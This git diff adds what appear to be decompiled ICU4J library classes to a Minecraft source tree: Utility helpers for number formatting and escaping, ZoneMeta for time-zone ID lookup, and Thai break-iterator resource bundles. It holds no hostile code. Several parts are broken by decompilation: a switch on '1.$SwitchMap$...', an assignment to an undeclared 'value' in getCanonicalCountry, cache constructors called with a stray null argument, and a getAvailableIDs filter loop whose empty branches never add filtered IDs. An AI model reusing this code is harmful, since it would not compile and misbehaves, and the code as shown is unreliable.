+        if (!UCharacter.isUnicodeIdentifierPart(ch)) break;
+        buf.appendCodePoint(ch);
+      }
+      
+
+
+      p += UTF16.getCharCount(ch);
+    }
+    pos[0] = p;
+    return buf.toString();
+  }
+  
+  static final char[] DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <T extends Appendable> void recursiveAppendNumber(T result, int n, int radix, int minDigits)
+  {
+    try
+    {
+      int digit = n % radix;
+      
+      if ((n >= radix) || (minDigits > 1)) {
+        recursiveAppendNumber(result, n / radix, radix, minDigits - 1);
+      }
+      result.append(DIGITS[digit]);
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T extends Appendable> T appendNumber(T result, int n, int radix, int minDigits)
+  {
+    try
+    {
+      if ((radix < 2) || (radix > 36)) {
+        throw new IllegalArgumentException("Illegal radix " + radix);
+      }
+      
+
+      int abs = n;
+      
+      if (n < 0) {
+        abs = -n;
+        result.append("-");
+      }
+      
+      recursiveAppendNumber(result, abs, radix, minDigits);
+      
+      return result;
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int parseNumber(String text, int[] pos, int radix)
+  {
+    int n = 0;
+    int p = pos[0];
+    while (p < text.length()) {
+      int ch = Character.codePointAt(text, p);
+      int d = UCharacter.digit(ch, radix);
+      if (d < 0) {
+        break;
+      }
+      n = radix * n + d;
+      
+
+      if (n < 0) {
+        return -1;
+      }
+      p++;
+    }
+    if (p == pos[0]) {
+      return -1;
+    }
+    pos[0] = p;
+    return n;
+  }
+  
+
+
+
+
+  public static boolean isUnprintable(int c)
+  {
+    return (c < 32) || (c > 126);
+  }
+  
+
+
+
+
+
+  public static <T extends Appendable> boolean escapeUnprintable(T result, int c)
+  {
+    try
+    {
+      if (isUnprintable(c)) {
+        result.append('\\');
+        if ((c & 0xFFFF0000) != 0) {
+          result.append('U');
+          result.append(DIGITS[(0xF & c >> 28)]);
+          result.append(DIGITS[(0xF & c >> 24)]);
+          result.append(DIGITS[(0xF & c >> 20)]);
+          result.append(DIGITS[(0xF & c >> 16)]);
+        } else {
+          result.append('u');
+        }
+        result.append(DIGITS[(0xF & c >> 12)]);
+        result.append(DIGITS[(0xF & c >> 8)]);
+        result.append(DIGITS[(0xF & c >> 4)]);
+        result.append(DIGITS[(0xF & c)]);
+        return true;
+      }
+      return false;
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int quotedIndexOf(String text, int start, int limit, String setOfChars)
+  {
+    for (int i = start; i < limit; i++) {
+      char c = text.charAt(i);
+      if (c == '\\') {
+        i++;
+      } else { if (c == '\'')
+          for (;;) {
+            i++; if ((i >= limit) || (text.charAt(i) == '\'')) break; }
+        if (setOfChars.indexOf(c) >= 0)
+          return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void appendToRule(StringBuffer rule, int c, boolean isLiteral, boolean escapeUnprintable, StringBuffer quoteBuf)
+  {
+    if ((isLiteral) || ((escapeUnprintable) && (isUnprintable(c))))
+    {
+      if (quoteBuf.length() > 0)
+      {
+
+
+
+
+
+
+
+
+        while ((quoteBuf.length() >= 2) && (quoteBuf.charAt(0) == '\'') && (quoteBuf.charAt(1) == '\'')) {
+          rule.append('\\').append('\'');
+          quoteBuf.delete(0, 2);
+        }
+        
+
+        int trailingCount = 0;
+        
+
+        while ((quoteBuf.length() >= 2) && (quoteBuf.charAt(quoteBuf.length() - 2) == '\'') && (quoteBuf.charAt(quoteBuf.length() - 1) == '\'')) {
+          quoteBuf.setLength(quoteBuf.length() - 2);
+          trailingCount++;
+        }
+        if (quoteBuf.length() > 0) {
+          rule.append('\'');
+          rule.append(quoteBuf);
+          rule.append('\'');
+          quoteBuf.setLength(0);
+        }
+        while (trailingCount-- > 0) {
+          rule.append('\\').append('\'');
+        }
+      }
+      if (c != -1)
+      {
+
+
+
+
+        if (c == 32) {
+          int len = rule.length();
+          if ((len > 0) && (rule.charAt(len - 1) != ' ')) {
+            rule.append(' ');
+          }
+        } else if ((!escapeUnprintable) || (!escapeUnprintable(rule, c))) {
+          rule.appendCodePoint(c);
+        }
+        
+      }
+      
+    }
+    else if ((quoteBuf.length() == 0) && ((c == 39) || (c == 92)))
+    {
+      rule.append('\\').append((char)c);
+
+
+
+
+    }
+    else if ((quoteBuf.length() > 0) || ((c >= 33) && (c <= 126) && ((c < 48) || (c > 57)) && ((c < 65) || (c > 90)) && ((c < 97) || (c > 122))) || (PatternProps.isWhiteSpace(c)))
+    {
+
+
+
+
+      quoteBuf.appendCodePoint(c);
+      
+      if (c == 39) {
+        quoteBuf.append((char)c);
+      }
+      
+    }
+    else
+    {
+      rule.appendCodePoint(c);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static void appendToRule(StringBuffer rule, String text, boolean isLiteral, boolean escapeUnprintable, StringBuffer quoteBuf)
+  {
+    for (int i = 0; i < text.length(); i++)
+    {
+      appendToRule(rule, text.charAt(i), isLiteral, escapeUnprintable, quoteBuf);
+    }
+  }
+  
+
+
+
+
+
+
+  public static void appendToRule(StringBuffer rule, UnicodeMatcher matcher, boolean escapeUnprintable, StringBuffer quoteBuf)
+  {
+    if (matcher != null) {
+      appendToRule(rule, matcher.toPattern(escapeUnprintable), true, escapeUnprintable, quoteBuf);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static final int compareUnsigned(int source, int target)
+  {
+    source -= Integer.MIN_VALUE;
+    target -= Integer.MIN_VALUE;
+    if (source < target) {
+      return -1;
+    }
+    if (source > target) {
+      return 1;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final byte highBit(int n)
+  {
+    if (n <= 0) {
+      return -1;
+    }
+    
+    byte bit = 0;
+    
+    if (n >= 65536) {
+      n >>= 16;
+      bit = (byte)(bit + 16);
+    }
+    
+    if (n >= 256) {
+      n >>= 8;
+      bit = (byte)(bit + 8);
+    }
+    
+    if (n >= 16) {
+      n >>= 4;
+      bit = (byte)(bit + 4);
+    }
+    
+    if (n >= 4) {
+      n >>= 2;
+      bit = (byte)(bit + 2);
+    }
+    
+    if (n >= 2) {
+      n >>= 1;
+      bit = (byte)(bit + 1);
+    }
+    
+    return bit;
+  }
+  
+
+
+
+  public static String valueOf(int[] source)
+  {
+    StringBuilder result = new StringBuilder(source.length);
+    for (int i = 0; i < source.length; i++) {
+      result.appendCodePoint(source[i]);
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+  public static String repeat(String s, int count)
+  {
+    if (count <= 0) return "";
+    if (count == 1) return s;
+    StringBuilder result = new StringBuilder();
+    for (int i = 0; i < count; i++) {
+      result.append(s);
+    }
+    return result.toString();
+  }
+  
+  public static String[] splitString(String src, String target) {
+    return src.split("\\Q" + target + "\\E");
+  }
+  
+
+
+  public static String[] splitWhitespace(String src)
+  {
+    return src.split("\\s+");
+  }
+  
+
+
+
+
+
+
+  public static String fromHex(String string, int minLength, String separator)
+  {
+    return fromHex(string, minLength, Pattern.compile(separator != null ? separator : "\\s+"));
+  }
+  
+
+
+
+
+
+
+  public static String fromHex(String string, int minLength, Pattern separator)
+  {
+    StringBuilder buffer = new StringBuilder();
+    String[] parts = separator.split(string);
+    for (String part : parts) {
+      if (part.length() < minLength) {
+        throw new IllegalArgumentException("code point too short: " + part);
+      }
+      int cp = Integer.parseInt(part, 16);
+      buffer.appendCodePoint(cp);
+    }
+    return buffer.toString();
+  }
+  
+
+
+
+  public static ClassLoader getFallbackClassLoader()
+  {
+    ClassLoader cl = Thread.currentThread().getContextClassLoader();
+    if (cl == null) {
+      cl = ClassLoader.getSystemClassLoader();
+      if (cl == null)
+      {
+
+        throw new RuntimeException("No accessible class loader is available.");
+      }
+    }
+    return cl;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ZoneMeta.java b/src/minecraft/com/ibm/icu/impl/ZoneMeta.java
new file mode 100644
index 0000000..eff822f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ZoneMeta.java
@@ -0,0 +1,883 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.NumberFormat;
+import com.ibm.icu.util.Output;
+import com.ibm.icu.util.SimpleTimeZone;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.TimeZone.SystemTimeZoneType;
+import com.ibm.icu.util.UResourceBundle;
+import java.lang.ref.SoftReference;
+import java.text.ParsePosition;
+import java.util.Collections;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ZoneMeta
+{
+  private static final boolean ASSERT = false;
+  private static final String ZONEINFORESNAME = "zoneinfo64";
+  private static final String kREGIONS = "Regions";
+  private static final String kZONES = "Zones";
+  private static final String kNAMES = "Names";
+  private static final String kGMT_ID = "GMT";
+  private static final String kCUSTOM_TZ_PREFIX = "GMT";
+  private static final String kWorld = "001";
+  private static SoftReference<Set<String>> REF_SYSTEM_ZONES;
+  private static SoftReference<Set<String>> REF_CANONICAL_SYSTEM_ZONES;
+  private static SoftReference<Set<String>> REF_CANONICAL_SYSTEM_LOCATION_ZONES;
+  
+  public ZoneMeta() {}
+  
+  private static synchronized Set<String> getSystemZIDs()
+  {
+    Set<String> systemZones = null;
+    if (REF_SYSTEM_ZONES != null) {
+      systemZones = (Set)REF_SYSTEM_ZONES.get();
+    }
+    if (systemZones == null) {
+      Set<String> systemIDs = new TreeSet();
+      String[] allIDs = getZoneIDs();
+      for (String id : allIDs)
+      {
+        if (!id.equals("Etc/Unknown"))
+        {
+
+          systemIDs.add(id); }
+      }
+      systemZones = Collections.unmodifiableSet(systemIDs);
+      REF_SYSTEM_ZONES = new SoftReference(systemZones);
+    }
+    return systemZones;
+  }
+  
+
+
+
+
+
+  private static synchronized Set<String> getCanonicalSystemZIDs()
+  {
+    Set<String> canonicalSystemZones = null;
+    if (REF_CANONICAL_SYSTEM_ZONES != null) {
+      canonicalSystemZones = (Set)REF_CANONICAL_SYSTEM_ZONES.get();
+    }
+    if (canonicalSystemZones == null) {
+      Set<String> canonicalSystemIDs = new TreeSet();
+      String[] allIDs = getZoneIDs();
+      for (String id : allIDs)
+      {
+        if (!id.equals("Etc/Unknown"))
+        {
+
+          String canonicalID = getCanonicalCLDRID(id);
+          if (id.equals(canonicalID))
+            canonicalSystemIDs.add(id);
+        }
+      }
+      canonicalSystemZones = Collections.unmodifiableSet(canonicalSystemIDs);
+      REF_CANONICAL_SYSTEM_ZONES = new SoftReference(canonicalSystemZones);
+    }
+    return canonicalSystemZones;
+  }
+  
+
+
+
+
+
+
+
+  private static synchronized Set<String> getCanonicalSystemLocationZIDs()
+  {
+    Set<String> canonicalSystemLocationZones = null;
+    if (REF_CANONICAL_SYSTEM_LOCATION_ZONES != null) {
+      canonicalSystemLocationZones = (Set)REF_CANONICAL_SYSTEM_LOCATION_ZONES.get();
+    }
+    if (canonicalSystemLocationZones == null) {
+      Set<String> canonicalSystemLocationIDs = new TreeSet();
+      String[] allIDs = getZoneIDs();
+      for (String id : allIDs)
+      {
+        if (!id.equals("Etc/Unknown"))
+        {
+
+          String canonicalID = getCanonicalCLDRID(id);
+          if (id.equals(canonicalID)) {
+            String region = getRegion(id);
+            if ((region != null) && (!region.equals("001")))
+              canonicalSystemLocationIDs.add(id);
+          }
+        }
+      }
+      canonicalSystemLocationZones = Collections.unmodifiableSet(canonicalSystemLocationIDs);
+      REF_CANONICAL_SYSTEM_LOCATION_ZONES = new SoftReference(canonicalSystemLocationZones);
+    }
+    return canonicalSystemLocationZones;
+  }
+  
+
+
+
+
+
+
+  public static Set<String> getAvailableIDs(TimeZone.SystemTimeZoneType type, String region, Integer rawOffset)
+  {
+    Set<String> baseSet = null;
+    switch (1.$SwitchMap$com$ibm$icu$util$TimeZone$SystemTimeZoneType[type.ordinal()]) {
+    case 1: 
+      baseSet = getSystemZIDs();
+      break;
+    case 2: 
+      baseSet = getCanonicalSystemZIDs();
+      break;
+    case 3: 
+      baseSet = getCanonicalSystemLocationZIDs();
+      break;
+    
+    default: 
+      throw new IllegalArgumentException("Unknown SystemTimeZoneType");
+    }
+    
+    if ((region == null) && (rawOffset == null)) {
+      return baseSet;
+    }
+    
+    if (region != null) {
+      region = region.toUpperCase(Locale.ENGLISH);
+    }
+    
+
+    Set<String> result = new TreeSet();
+    for (String id : baseSet)
+      if (region != null) {
+        String r = getRegion(id);
+        if (!region.equals(r)) {}
+
+
+      }
+      else if (rawOffset != null)
+      {
+        TimeZone z = getSystemTimeZone(id);
+        if ((z == null) || (!rawOffset.equals(Integer.valueOf(z.getRawOffset())))) {}
+      }
+      else
+      {
+        result.add(id);
+      }
+    if (result.isEmpty()) {
+      return Collections.emptySet();
+    }
+    
+    return Collections.unmodifiableSet(result);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static synchronized int countEquivalentIDs(String id)
+  {
+    int count = 0;
+    UResourceBundle res = openOlsonResource(null, id);
+    if (res != null) {
+      try {
+        UResourceBundle links = res.get("links");
+        int[] v = links.getIntVector();
+        count = v.length;
+      }
+      catch (MissingResourceException ex) {}
+    }
+    
+    return count;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static synchronized String getEquivalentID(String id, int index)
+  {
+    String result = "";
+    if (index >= 0) {
+      UResourceBundle res = openOlsonResource(null, id);
+      if (res != null) {
+        int zoneIdx = -1;
+        try {
+          UResourceBundle links = res.get("links");
+          int[] zones = links.getIntVector();
+          if (index < zones.length) {
+            zoneIdx = zones[index];
+          }
+        }
+        catch (MissingResourceException ex) {}
+        
+        if (zoneIdx >= 0) {
+          String tmp = getZoneID(zoneIdx);
+          if (tmp != null) {
+            result = tmp;
+          }
+        }
+      }
+    }
+    return result;
+  }
+  
+  private static String[] ZONEIDS = null;
+  
+
+
+  private static synchronized String[] getZoneIDs()
+  {
+    if (ZONEIDS == null) {
+      try {
+        UResourceBundle top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+        
+        UResourceBundle names = top.get("Names");
+        ZONEIDS = names.getStringArray();
+      }
+      catch (MissingResourceException ex) {}
+    }
+    
+    if (ZONEIDS == null) {
+      ZONEIDS = new String[0];
+    }
+    return ZONEIDS;
+  }
+  
+  private static String getZoneID(int idx) {
+    if (idx >= 0) {
+      String[] ids = getZoneIDs();
+      if (idx < ids.length) {
+        return ids[idx];
+      }
+    }
+    return null;
+  }
+  
+  private static int getZoneIndex(String zid) {
+    int zoneIdx = -1;
+    
+    String[] all = getZoneIDs();
+    if (all.length > 0) {
+      int start = 0;
+      int limit = all.length;
+      
+      int lastMid = Integer.MAX_VALUE;
+      for (;;) {
+        int mid = (start + limit) / 2;
+        if (lastMid == mid) {
+          break;
+        }
+        lastMid = mid;
+        int r = zid.compareTo(all[mid]);
+        if (r == 0) {
+          zoneIdx = mid;
+          break; }
+        if (r < 0) {
+          limit = mid;
+        } else {
+          start = mid;
+        }
+      }
+    }
+    
+    return zoneIdx;
+  }
+  
+  private static ICUCache<String, String> CANONICAL_ID_CACHE = new SimpleCache();
+  private static ICUCache<String, String> REGION_CACHE = new SimpleCache();
+  private static ICUCache<String, Boolean> SINGLE_COUNTRY_CACHE = new SimpleCache();
+  
+  public static String getCanonicalCLDRID(TimeZone tz) {
+    if ((tz instanceof OlsonTimeZone)) {
+      return ((OlsonTimeZone)tz).getCanonicalID();
+    }
+    return getCanonicalCLDRID(tz.getID());
+  }
+  
+
+
+
+
+
+
+  public static String getCanonicalCLDRID(String tzid)
+  {
+    String canonical = (String)CANONICAL_ID_CACHE.get(tzid);
+    if (canonical == null) {
+      canonical = findCLDRCanonicalID(tzid);
+      if (canonical == null) {
+        try
+        {
+          int zoneIdx = getZoneIndex(tzid);
+          if (zoneIdx >= 0) {
+            UResourceBundle top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+            
+            UResourceBundle zones = top.get("Zones");
+            UResourceBundle zone = zones.get(zoneIdx);
+            if (zone.getType() == 7)
+            {
+              tzid = getZoneID(zone.getInt());
+              canonical = findCLDRCanonicalID(tzid);
+            }
+            if (canonical == null) {
+              canonical = tzid;
+            }
+          }
+        }
+        catch (MissingResourceException e) {}
+      }
+      
+      if (canonical != null) {
+        CANONICAL_ID_CACHE.put(tzid, canonical);
+      }
+    }
+    return canonical;
+  }
+  
+  private static String findCLDRCanonicalID(String tzid) {
+    String canonical = null;
+    String tzidKey = tzid.replace('/', ':');
+    
+    try
+    {
+      UResourceBundle keyTypeData = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "keyTypeData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+      
+      UResourceBundle typeMap = keyTypeData.get("typeMap");
+      UResourceBundle typeKeys = typeMap.get("timezone");
+      try {
+        typeKeys.get(tzidKey);
+        
+        canonical = tzid;
+      }
+      catch (MissingResourceException e) {}
+      
+      if (canonical == null)
+      {
+        UResourceBundle typeAlias = keyTypeData.get("typeAlias");
+        UResourceBundle aliasesForKey = typeAlias.get("timezone");
+        canonical = aliasesForKey.getString(tzidKey);
+      }
+    }
+    catch (MissingResourceException e) {}
+    
+    return canonical;
+  }
+  
+
+
+
+  public static String getRegion(String tzid)
+  {
+    String region = (String)REGION_CACHE.get(tzid);
+    if (region == null) {
+      int zoneIdx = getZoneIndex(tzid);
+      if (zoneIdx >= 0) {
+        try {
+          UResourceBundle top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+          
+          UResourceBundle regions = top.get("Regions");
+          if (zoneIdx < regions.getSize()) {
+            region = regions.getString(zoneIdx);
+          }
+        }
+        catch (MissingResourceException e) {}
+        
+        if (region != null) {
+          REGION_CACHE.put(tzid, region);
+        }
+      }
+    }
+    return region;
+  }
+  
+
+
+
+  public static String getCanonicalCountry(String tzid)
+  {
+    String country = getRegion(tzid);
+    if ((country != null) && (country.equals("001"))) {
+      country = null;
+    }
+    return country;
+  }
+  
+
+
+
+
+  public static String getCanonicalCountry(String tzid, Output<Boolean> isPrimary)
+  {
+    value = Boolean.FALSE;
+    
+    String country = getRegion(tzid);
+    if ((country != null) && (country.equals("001"))) {
+      return null;
+    }
+    
+
+    Boolean singleZone = (Boolean)SINGLE_COUNTRY_CACHE.get(tzid);
+    if (singleZone == null) {
+      Set<String> ids = TimeZone.getAvailableIDs(TimeZone.SystemTimeZoneType.CANONICAL_LOCATION, country, null);
+      assert (ids.size() >= 1);
+      singleZone = Boolean.valueOf(ids.size() <= 1);
+      SINGLE_COUNTRY_CACHE.put(tzid, singleZone);
+    }
+    
+    if (singleZone.booleanValue()) {
+      value = Boolean.TRUE;
+    }
+    else
+    {
+      try
+      {
+
+        UResourceBundle bundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "metaZones");
+        UResourceBundle primaryZones = bundle.get("primaryZones");
+        String primaryZone = primaryZones.getString(country);
+        if (tzid.equals(primaryZone)) {
+          value = Boolean.TRUE;
+        }
+        else {
+          String canonicalID = getCanonicalCLDRID(tzid);
+          if ((canonicalID != null) && (canonicalID.equals(primaryZone))) {
+            value = Boolean.TRUE;
+          }
+        }
+      }
+      catch (MissingResourceException e) {}
+    }
+    
+
+    return country;
+  }
+  
+
+
+
+
+
+
+
+
+  public static UResourceBundle openOlsonResource(UResourceBundle top, String id)
+  {
+    UResourceBundle res = null;
+    int zoneIdx = getZoneIndex(id);
+    if (zoneIdx >= 0) {
+      try {
+        if (top == null) {
+          top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+        }
+        
+        UResourceBundle zones = top.get("Zones");
+        UResourceBundle zone = zones.get(zoneIdx);
+        if (zone.getType() == 7)
+        {
+          zone = zones.get(zone.getInt());
+        }
+        res = zone;
+      } catch (MissingResourceException e) {
+        res = null;
+      }
+    }
+    return res;
+  }
+  
+
+
+  private static class SystemTimeZoneCache
+    extends SoftCache<String, OlsonTimeZone, String>
+  {
+    private SystemTimeZoneCache() {}
+    
+
+
+    protected OlsonTimeZone createInstance(String key, String data)
+    {
+      OlsonTimeZone tz = null;
+      try {
+        UResourceBundle top = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+        
+        UResourceBundle res = ZoneMeta.openOlsonResource(top, data);
+        if (res != null) {
+          tz = new OlsonTimeZone(top, res, data);
+          tz.freeze();
+        }
+      }
+      catch (MissingResourceException e) {}
+      
+      return tz;
+    }
+  }
+  
+  private static final SystemTimeZoneCache SYSTEM_ZONE_CACHE = new SystemTimeZoneCache(null);
+  private static final int kMAX_CUSTOM_HOUR = 23;
+  private static final int kMAX_CUSTOM_MIN = 59;
+  private static final int kMAX_CUSTOM_SEC = 59;
+  
+  public static TimeZone getSystemTimeZone(String id)
+  {
+    return (TimeZone)SYSTEM_ZONE_CACHE.getInstance(id, id);
+  }
+  
+
+
+
+
+  private static class CustomTimeZoneCache
+    extends SoftCache<Integer, SimpleTimeZone, int[]>
+  {
+    private CustomTimeZoneCache() {}
+    
+
+
+
+
+    protected SimpleTimeZone createInstance(Integer key, int[] data)
+    {
+      assert (data.length == 4);
+      assert ((data[0] == 1) || (data[0] == -1));
+      assert ((data[1] >= 0) && (data[1] <= 23));
+      assert ((data[2] >= 0) && (data[2] <= 59));
+      assert ((data[3] >= 0) && (data[3] <= 59));
+      String id = ZoneMeta.formatCustomID(data[1], data[2], data[3], data[0] < 0);
+      int offset = data[0] * ((data[1] * 60 + data[2]) * 60 + data[3]) * 1000;
+      SimpleTimeZone tz = new SimpleTimeZone(offset, id);
+      tz.freeze();
+      return tz;
+    }
+  }
+  
+  private static final CustomTimeZoneCache CUSTOM_ZONE_CACHE = new CustomTimeZoneCache(null);
+  
+
+
+
+
+
+
+  public static TimeZone getCustomTimeZone(String id)
+  {
+    int[] fields = new int[4];
+    if (parseCustomID(id, fields))
+    {
+
+
+
+      Integer key = Integer.valueOf(fields[0] * (fields[1] | fields[2] << 5 | fields[3] << 11));
+      
+      return (TimeZone)CUSTOM_ZONE_CACHE.getInstance(key, fields);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+  public static String getCustomID(String id)
+  {
+    int[] fields = new int[4];
+    if (parseCustomID(id, fields)) {
+      return formatCustomID(fields[1], fields[2], fields[3], fields[0] < 0);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  static boolean parseCustomID(String id, int[] fields)
+  {
+    NumberFormat numberFormat = null;
+    
+    if ((id != null) && (id.length() > "GMT".length()) && (id.toUpperCase(Locale.ENGLISH).startsWith("GMT")))
+    {
+      ParsePosition pos = new ParsePosition("GMT".length());
+      int sign = 1;
+      int hour = 0;
+      int min = 0;
+      int sec = 0;
+      
+      if (id.charAt(pos.getIndex()) == '-') {
+        sign = -1;
+      } else if (id.charAt(pos.getIndex()) != '+') {
+        return false;
+      }
+      pos.setIndex(pos.getIndex() + 1);
+      
+      numberFormat = NumberFormat.getInstance();
+      numberFormat.setParseIntegerOnly(true);
+      
+
+      int start = pos.getIndex();
+      
+      Number n = numberFormat.parse(id, pos);
+      if (pos.getIndex() == start) {
+        return false;
+      }
+      hour = n.intValue();
+      
+      if (pos.getIndex() < id.length()) {
+        if ((pos.getIndex() - start > 2) || (id.charAt(pos.getIndex()) != ':'))
+        {
+          return false;
+        }
+        
+        pos.setIndex(pos.getIndex() + 1);
+        int oldPos = pos.getIndex();
+        n = numberFormat.parse(id, pos);
+        if (pos.getIndex() - oldPos != 2)
+        {
+          return false;
+        }
+        min = n.intValue();
+        if (pos.getIndex() < id.length()) {
+          if (id.charAt(pos.getIndex()) != ':') {
+            return false;
+          }
+          
+          pos.setIndex(pos.getIndex() + 1);
+          oldPos = pos.getIndex();
+          n = numberFormat.parse(id, pos);
+          if ((pos.getIndex() != id.length()) || (pos.getIndex() - oldPos != 2))
+          {
+            return false;
+          }
+          sec = n.intValue();
+
+
+        }
+        
+
+
+      }
+      else
+      {
+
+
+        int length = pos.getIndex() - start;
+        if ((length <= 0) || (6 < length))
+        {
+          return false;
+        }
+        switch (length)
+        {
+        case 1: 
+        case 2: 
+          break;
+        case 3: 
+        case 4: 
+          min = hour % 100;
+          hour /= 100;
+          break;
+        case 5: 
+        case 6: 
+          sec = hour % 100;
+          min = hour / 100 % 100;
+          hour /= 10000;
+        }
+        
+      }
+      
+      if ((hour <= 23) && (min <= 59) && (sec <= 59)) {
+        if (fields != null) {
+          if (fields.length >= 1) {
+            fields[0] = sign;
+          }
+          if (fields.length >= 2) {
+            fields[1] = hour;
+          }
+          if (fields.length >= 3) {
+            fields[2] = min;
+          }
+          if (fields.length >= 4) {
+            fields[3] = sec;
+          }
+        }
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  public static TimeZone getCustomTimeZone(int offset)
+  {
+    boolean negative = false;
+    int tmp = offset;
+    if (offset < 0) {
+      negative = true;
+      tmp = -offset;
+    }
+    
+
+
+
+
+
+    tmp /= 1000;
+    int sec = tmp % 60;
+    tmp /= 60;
+    int min = tmp % 60;
+    int hour = tmp / 60;
+    
+
+    String zid = formatCustomID(hour, min, sec, negative);
+    
+    return new SimpleTimeZone(offset, zid);
+  }
+  
+
+
+
+  static String formatCustomID(int hour, int min, int sec, boolean negative)
+  {
+    StringBuilder zid = new StringBuilder("GMT");
+    if ((hour != 0) || (min != 0)) {
+      if (negative) {
+        zid.append('-');
+      } else {
+        zid.append('+');
+      }
+      
+      if (hour < 10) {
+        zid.append('0');
+      }
+      zid.append(hour);
+      zid.append(':');
+      if (min < 10) {
+        zid.append('0');
+      }
+      zid.append(min);
+      
+      if (sec != 0)
+      {
+        zid.append(':');
+        if (sec < 10) {
+          zid.append('0');
+        }
+        zid.append(sec);
+      }
+    }
+    return zid.toString();
+  }
+  
+
+
+
+
+
+  public static String getShortID(TimeZone tz)
+  {
+    String canonicalID = null;
+    
+    if ((tz instanceof OlsonTimeZone)) {
+      canonicalID = ((OlsonTimeZone)tz).getCanonicalID();
+    }
+    canonicalID = getCanonicalCLDRID(tz.getID());
+    if (canonicalID == null) {
+      return null;
+    }
+    return getShortIDFromCanonical(canonicalID);
+  }
+  
+
+
+
+
+
+  public static String getShortID(String id)
+  {
+    String canonicalID = getCanonicalCLDRID(id);
+    if (canonicalID == null) {
+      return null;
+    }
+    return getShortIDFromCanonical(canonicalID);
+  }
+  
+  private static String getShortIDFromCanonical(String canonicalID) {
+    String shortID = null;
+    String tzidKey = canonicalID.replace('/', ':');
+    
+    try
+    {
+      UResourceBundle keyTypeData = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "keyTypeData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+      
+      UResourceBundle typeMap = keyTypeData.get("typeMap");
+      UResourceBundle typeKeys = typeMap.get("timezone");
+      shortID = typeKeys.getString(tzidKey);
+    }
+    catch (MissingResourceException e) {}
+    
+
+    return shortID;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/BreakIteratorRules.java b/src/minecraft/com/ibm/icu/impl/data/BreakIteratorRules.java
new file mode 100644
index 0000000..5446070
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/BreakIteratorRules.java
@@ -0,0 +1,25 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+
+
+public class BreakIteratorRules
+  extends ListResourceBundle
+{
+  public BreakIteratorRules() {}
+  
+  public Object[][] getContents()
+  {
+    return contents;
+  }
+  
+  static final Object[][] contents = { { "BreakIteratorClasses", { "RuleBasedBreakIterator", "RuleBasedBreakIterator", "RuleBasedBreakIterator", "RuleBasedBreakIterator", "RuleBasedBreakIterator" } } };
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/BreakIteratorRules_th.java b/src/minecraft/com/ibm/icu/impl/data/BreakIteratorRules_th.java
new file mode 100644
index 0000000..ed15b5b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/BreakIteratorRules_th.java
@@ -0,0 +1,27 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.impl.ICUData;
+import java.util.ListResourceBundle;
+
+
+
+public class BreakIteratorRules_th
+  extends ListResourceBundle
+{
+  private static final String DATA_NAME = "data/th.brk";
+  
+  public BreakIteratorRules_th() {}
+  
+  public Object[][] getContents()
+  {
+    boolean exists = ICUData.exists("data/th.brk");
+    
+
+
+    if (!exists) {
+      return new Object[0][0];
+    }
+    
+    return new Object[][] { { "BreakIteratorClasses", { "RuleBasedBreakIterator", "DictionaryBasedBreakIterator", "DictionaryBasedBreakIterator", "RuleBasedBreakIterator" } }, { "WordBreakDictionary", "data/th.brk" }, { "LineBreakDictionary", "data/th.brk" } };
+  }
+}
